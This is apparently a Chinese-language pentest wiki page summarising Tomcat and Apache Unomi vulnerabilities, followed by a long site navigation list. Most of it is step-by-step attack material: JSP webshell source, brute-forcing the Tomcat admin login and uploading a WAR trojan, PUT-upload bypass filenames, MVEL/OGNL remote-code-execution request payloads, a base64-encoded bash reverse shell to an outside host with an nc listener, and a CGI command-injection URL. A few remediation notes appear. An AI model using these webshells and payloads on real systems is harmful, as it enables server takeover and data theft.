# Tomcat常見的漏洞總結
## 0、CVE-2020-1938文件包含漏洞
**漏洞描述**
該漏洞是由于Tomcat AJP協議存在缺陷而導致,攻擊者利用該漏洞可通過構造特定參數,讀取服務器webapp下的任意文件,如:webapp配置文件或源代碼等。若目標服務器同時存在文件上傳功能,攻擊者可進一步實現遠程代碼執行。
**漏洞影響版本**
>Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
**不受影響版本**
>Apache Tomcat = 7.0.100
Apache Tomcat = 8.5.51
Apache Tomcat = 9.0.31
**漏洞分析**
Tomcat在處理ajp協議時存在漏洞,可通過調用request.setAttribute為Tomcat設置任意request屬性。
當ajp URI設置為非jsp路徑時,Tomcat會調用DefaultServlet處理,此時會導致web目錄任意文件讀取漏洞。
當ajp URI設置為jsp路徑時,Tomcat會調用JspServlet處理,此時會導致JSP文件包含漏洞
**漏洞復現**
1. 使用nmap掃描目標是否開啟了8009端口
2. 使用poc掃描目標網站
下載地址: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
命令:`python xx.py 192.x.x.x -p 8009 -f WEB-INF/web.xml`
3. 默認是讀取ROOT路徑下的web.xml
如果想換路徑需要更改POC源碼里的`perform_request`的位置只能在webapps下的)
**防御方式**
1. 禁用AJP協議
在tomcat安裝路徑中找到/conf/server.xml文件,刪除或注釋下面這行代碼:
`<Connector port="8009"protocol="AJP/1.3" redirectPort="8443" />`
2. 升級到tomcat最新版本
3. 配置secret來設置AJP協議的認證憑證,如:
```xml
<Connector port="8009"protocol="AJP/1.3" redirectPort="8443" address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET"/>
```
## 1、Tomcat后臺弱口令漏洞
Tomcat后臺存在弱口令,進入網站后點擊登錄然后使用burp進行爆破測試,可發現賬戶密碼字段:`Authorization: Basic YWRtaW46YWRtaW4=`,解密后發現是用base64加密的`uaername:password`
**爆破方式:**
1. 使用burp抓包后發送到 Intrude 模塊進行暴力破解
2. 使用burp模糊測試模塊中的`custom iteactor`自定義迭代類型的payload
該類型的payload共分為8個占位符,每一個占位符又可以指定簡單列表的payload類型。再根據占位的數值,于每一個payload列表區進行笛卡爾積生成集合組
3. 設置格式
設置第一個Position參數就是username參數,然后再進行添加paylaod字典。第二個參數就是冒號 : 第三個就是password字段。設置完成后再對數據字段進行base64編碼就可以進行爆破。
4. 成功爆破出賬號密碼,然后使用base64解碼得出明文賬號密碼
5. 使用爆破出的賬號密碼登錄進去后臺后發現有一個上傳頁面,直接上傳一個war木馬就可以
## 2、war木馬的制作過程
1. 找到一個jsp的木馬
```
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
```
2. 將jsp木馬放入 jdk1.8.0_73的bin目錄下,然后在cmd輸出以下命令
注意是必須在java環境下的,必須使用管理員權限的
```
jar cvf +部署的war木馬 +自己bin目錄下的jsp木馬
```
3. 木馬制作成功,上傳制作的war木馬
4. 驗證已經成功上傳了木馬
`x.x.x.x:51135/shell/1.jsp?pwd=023&i=ls`
## 3、CVE-2017-12615Tomcat遠程代碼執行漏洞(PUT請求)
**漏洞介紹**
當 Tomcat 運行在 Windows 主機上,且啟用了 HTTP PUT 請求方法,攻擊者通過構造的攻擊請求向服務器上傳包含任意代碼的 JSP 文件,造成任意代碼執行,危害十分嚴重
**影響版本**
Apache Tomcat 7.0.0 - 7.0.81
**漏洞利用前提:**
需Tomcat開啟了HTTP PUT請求
**漏洞原理分析**
Tomcat 的 Servlet 是在 conf/web.xml 配置的,通過配置文件可知,當后綴名為 .jsp 和 .jspx 的時候,是通過 JspServlet 處理請求的;而其他的靜態文件是通過 DefaultServlet 處理的。可知'1.jsp '(末尾有空格)并不能匹配到 JspServlet,而是會交由 DefaultServlet 去處理。
當處理 PUT 請求時,會調用 `resources.bind:dirContext `為 FileDirContext調用 rebind 創建文件,又由于 Windows 不允許空格作為文件名結尾,所以會創建一個 .jsp 文件,導致代碼執行。
**環境搭建**
下載Tomcat,安裝成功后,需要開啟HTTP PUT請求,首先打開Tomcat目錄,找到配置文件`conf/web`
打開之后,`org.apache.catalina.servlets.DefaultServlet` 方法,并添加以下命令,添加成功后重啟一下即可
```
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
```
**漏洞復現**
1. 使用burp進行抓包,將請求包發送到repeater模塊中,將GET請求方法改為OPTIONS,查看請求方法
2. 發現啟用了PUT方法,使用PUT請求上傳jsp木馬
```jsp
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>
<%!public static String excuteCmd(String c) {
StringBuilder line = new StringBuilder();
try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new
InputStreamReader(pro.getInputStream()));
String temp = null;while ((temp = buf.readLine()) != null) {
line.append(temp+"\n");}buf.close();} catch (Exception e) {
line.append(e.getMessage());}return line.toString();}%>
<%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){
out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>
```
3. 頁面狀態碼返回201,表示木馬寫入成功
4. 到頁面中訪問(ip+1.jsp) url:
http://219.153.49.228:47195/shell.jsp?cmd=ls%20/&pwd=023
5. 該漏洞實際上是利用了window下文件名解析的漏洞來觸發的。
通過構造特殊后綴名,繞過Tomcat檢測,讓Tomcat用DefaultServlet的邏輯處理請求,從而上傳jsp webshell文件
```
# 有三種方法可以進行繞過
shell.jsp%20
shell.jsp::$DATA
shell.jsp/
```
## 4、CVE-2020-13942 Apache Unomi 遠程代碼執行漏洞
**Apache Unomi簡介**
Apache Unomi 是一個基于標準的客戶數據平臺(CDP,Customer Data Platform),用于管理在線客戶和訪客等信息,以提供符合訪客隱私規則的個性化體驗,比如 GDPR 和“不跟蹤”偏好設置。其最初于 Jahia 開發,2015 年 10 月 Unomi 成為Apache 軟件基金會項目
**漏洞描述**
在Apache Unomi 1.5.1版本之前,攻擊者可以通過精心構造的MVEL或ONGl表達式來發送惡意請求,使得Unomi服務器執行任意代碼,漏洞對應編號為CVE-2020-11975,而CVE-2020-13942漏洞是對CVE-2020-11975漏洞的補丁繞過,攻擊者繞過補丁檢測的黑名單,發送惡意請求,在服務器執行任意代碼
**漏洞影響版本**
Apache Unomi < 1.5.2
**環境搭建**
使用docker一鍵搭建的vulhub靶場,訪問頁面 ip:8181
通過8181和9443兩個端口都可以觸發漏洞,本次使用 8181端口進行漏洞復現
**漏洞復現**
1. 打開靶場首頁,使用bp進行抓包,發送到Repeater模塊構造數據包
2. 修改數據包
將GET請求改為POST請求;
刪除多余的字段,保留HOST、User-Agent、Content-Length字段;
然后添加以下數據,將dnslog換為自己的地址。
```
POST /context.json HTTP/1.1
Host: 目標地址:8181
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/86.0.4240.198 Safari/537.36
Content-Length: 495
{
"filters": [
{
"id": "boom",
"filters": [
{
"condition": {
"parameterValues": {
"test": "script::Runtime r = Runtime.getRuntime(); r.exec(\"ping
br9yb9.dnslog.cn\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "test"
}
```
3. 發送數據包,然后到dnslog中查看解析記錄
4. 可以使用此漏洞來反彈shell,將bash反彈shell的命令進行編碼,編碼在線地址為
http://www.jackson-t.ca/runtime-exec-payloads.html
```
bash -i >& /dev/tcp/192.168.1.6/4444 0>&1
#編碼后為
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNi80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}
```
4. 將編碼后的shell添加到以下poc的`r.exec`關鍵字地方 ()
```
POST /context.json HTTP/1.1
Host: localhost:8181
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 483
{
"filters": [
{
"id": "sample",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNi80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "sample"
}
```
5. nc監聽,接收反彈shell`nc -lvp 4444`
上面使用的是通過MVEL表達式執行任意命令,下面使用OGNL表達式執行任意命令
在漏洞首頁抓取請求包然后發送到Repeater模塊中構造數據包,構造的poc如下
```
POST /context.json HTTP/1.1
Host: localhost:8181
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 1064
{
"personalizations":[
{
"id":"gender-test",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).
(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).
(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{?
#this.name.equals(\"exec\")}.{? #this.getParameters()
[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).
(#execmethod.invoke(#rtobj,\"touch /tmp/ognl\"))",
"comparisonOperator":"equals",
"propertyValue":"male"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"sample"
}
```
提交后可以看到成功在 /tmp/ 目錄下成功創建了一個文件,也可以利用這個漏洞反彈shell

## 5、CVE-2019-0232 Apache Tomcat遠程代碼執行漏洞
**漏洞描述**
該漏洞只對Windows平臺有效,攻擊者向CGI Servlet發送請求,可在具有Apache Tomcat權限的系統上注入和執行任意操作系統命令。
漏洞成因是當將參數從JRE傳遞到Windows環境時,由于CGI_Servlet中的輸入驗證錯誤而存在該漏洞。CGI_Servlet默認是關閉的
**漏洞影響范圍**
>Apache Tomcat 9.0.0.M1 ~ 9.0.17
Apache Tomcat 8.5.0 ~ 8.5.39
Apache Tomcat 7.0.0 ~ 7.0.93
環境搭建
**環境:Java8+Apache Tomcat 8.5.39**
1. 安裝tomcat需要java環境,jdk下載地址(https://www.oracle.com/java/technologies/javase-downloads.html)
2. 下載完后配置環境變量,輸出java -version驗證是否配置成功
3. 安裝tomcat8.5.39版本
下載地址(https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.39/bin/)
4. 下載完成后進行解壓然后配置tomcat,
打開Tomcat按目錄下的conf/web.xml 取消以下兩項的注釋,否則訪問cgi目錄會提示404
```xml
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi-bin</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>
<!-- The mapping for the CGI Gateway servlet -->
<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>
```
5. 修改在conf/context.xml中的`<Context>`,添加privileged="true"語句
6. 在webapps/ROOT/WEB-INF下創建一個cgi-bin文件夾,并在文件夾內創建一個test.bat
```bat
@echo off
echo Content-type: text/plain
echo.
set off=%~`
%off%
```
7. 都配置完成之后進入bin目錄下運行startup.bat啟動tomcat
8. 訪問搭建后的頁面,若出現tomcat頁面則說明搭建成功
**漏洞復現**
1. 在瀏覽器訪問,執行net user 命令
```
http://your-ip/cgi-bin/test.bat?&C%3A%5CWindows%5CSystem32%5Cnet%20user
```
2. 執行whoami命令
```
http://192.168.64.137:8080/cgi-bin/test.bat?c:/windows/system32/whoami.exe
```
**漏洞修復**
受影響版本的用戶應該應用下列其中一項緩解。升級到:
>Apache Tomcat 9.0.18或更高版本
Apache Tomcat 8.5.40或更高版本
Apache Tomcat 7.0.93或更高版本
- src導航站
- kali和msf
- 信息收集
- 收集域名信息
- Whois 查詢
- 備案信息查詢
- 信用信息查詢
- IP反查站點的站
- 瀏覽器插件
- 收集子域名信息
- 在線平臺
- 工具枚舉
- ssl與證書透明度
- DNS歷史解析
- DNS域傳送漏洞
- C段探測
- JS文件域名&ip探測
- 搜索引擎&情報社區
- google黑客
- 威脅情報
- 鐘馗之眼
- 收集相關應用信息
- 微信公眾號&微博
- APP收集&反編譯
- 收集常用端口信息
- 常見端口&解析&總結
- 掃描工具
- 網絡空間引擎搜索
- 瀏覽器插件
- nmap掃描
- 收集敏感信息
- 源碼泄露
- 郵箱信息收集
- 備份文件泄露
- 目錄&后臺掃描
- 公網網盤
- 歷史資產
- 指紋&WAF&CDN識別
- 指紋識別
- CDN識別
- 繞過CDN查找真實IP
- WAF識別
- 漏洞資源和社工
- 漏洞公共資源庫
- 社會工程
- 資產梳理
- 各種對滲透有幫助的平臺
- 掃描器
- 掃描器對比
- AppScan(IBM)_web和系統
- AWVS_web掃描
- X-Scan_系統掃描
- WebInspect_HP_WEB
- Netsparker_web
- WVSS_綠盟_web
- 安恒明鑒
- Nessus_系統
- nexpose_系統
- 啟明天鏡_web_系統
- SQL注入
- 常用函數
- sql注入步驟
- union注入和information_schema庫
- 函數和報錯注入
- SQL盲注
- 其他注入方式
- 防止SQL注入解決方案
- Access數據庫注入
- MSSQL數據庫注入
- MYSQL數據庫注入
- 神器SQLmap
- xss跨站腳本攻擊
- xss原理和分類
- xss案例和修復
- xss繞過技巧
- xss案例
- 文件上傳下載包含
- 常有用文件路徑
- 文件上傳漏洞
- 文件下載漏洞
- 文件包含漏洞
- upload-labs上傳漏洞練習
- XXE、SSRF、CSRF
- SSRF原理基礎
- SSRF案例實戰
- CSRF原理基礎
- CSRF案例及防范
- XXE之XML_DTD基礎
- XXE之payload與修復
- XXE結合SSRF
- 遠程命令執行與反序列化
- 遠程命令和代碼執行漏洞
- 反序列化漏洞
- 驗證碼與暴力破解
- 爆破與驗證碼原理
- CS架構暴力破解
- BS架構暴力破解
- WEB編輯器漏洞
- 編輯器漏洞基礎
- Ewebeditor編輯器
- FCKeditor編輯器
- 其他編輯器
- web中間件漏洞
- 中間件解析漏洞
- Tomcat常見的漏洞總結
- Jboss漏洞利用總結
- Weblogic漏洞利用總結
- WEB具體步驟
- 旁注和越權
- CDN繞過
- 越權與邏輯漏洞
- WEB應用常見其他漏洞
- WEB登陸頁面滲透思路
- 獲取WEBshell思路
- 社工、釣魚、apt
- 社工和信息收集
- 域名欺騙
- 釣魚郵件
- 一些釣魚用的掛馬工具
- 代碼審計
- 代碼審計工具
- WAF繞過
- WAF基礎及云WAF
- 各種WAF繞過方法
- 繞過WAF上傳文件
- 系統提權
- windows系統提權
- linux系統提權
- 數據庫提權操作系統
- 內網橫向滲透
- 內網穿透方式
- 一些內網第三方應用提權
- ARP與DOS
- ARP欺騙
- DOS與DDOS
- 一些DOS工具